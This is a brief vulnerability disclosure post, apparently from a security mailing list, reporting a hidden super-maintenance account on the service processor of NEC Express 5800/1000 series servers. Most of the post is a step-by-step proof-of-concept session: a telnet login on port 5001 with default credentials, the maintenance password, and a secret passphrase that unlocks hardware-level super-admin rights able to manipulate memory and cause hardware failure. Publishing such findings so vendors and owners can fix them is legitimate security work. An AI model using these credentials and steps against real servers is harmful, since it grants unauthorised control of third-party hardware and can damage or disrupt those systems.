saarash at tadka
May 12, 2012, 3:33 AM
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hidden privilege user in supercomputer NEC Express 58000/1000 series
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H!
NEC Corp. has a product line of high perfomance servers - http://www.nec.com.sg/index.php?q=products/enterprise-servers
In the documentations it is said that there is two user privilege levels:
1. Common user - who can monitor the system status
2. Admin user - for configuring system hardware
but there is another very high privilege user, who can manipulate memory and produce hardware falure.
POC
Connect to the service processor of the NEC Express server with the telnet client on port 5001:
Integrated Service Processor.
Cabinet-ID:xx, Location:y, State:ssssss
iSP login: spfw<ENTER>
iSP password: nec<ENTER>
Copyright (C) 2005 NEC Corporation, All Rights Reserved.
Welcome to Integrated Service Processor.
iSP FW version : 01.00 generated on 01/01/2005 19:20:33
iSP MAIN MENU
0) OS(BIOS) serial console of partition#0 (INITIALIZING )
1) OS(BIOS) serial console of partition#1 (RUNNING )
V) Virtual System Operator Panel
S) iSP commands
E) Exit
DISCONNECTALL) disconnect all console connections
iSPyz> s<ENTER>
Go to maintanance mode with the command "cm", default password mainte
Now at the command mode enter (With the periods at the end):
iSP0m:MNT> nec=topvendor.
??? : good-bye.
Command mode was changed to super-maintenance mode.
BE CAREFUL to use each command.
iSP0m:@@@>
you now have super admin rights at the hardware level of the supercomputer!
Thats it.....
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hidden privilege user in supercomputer NEC Express 58000/1000 series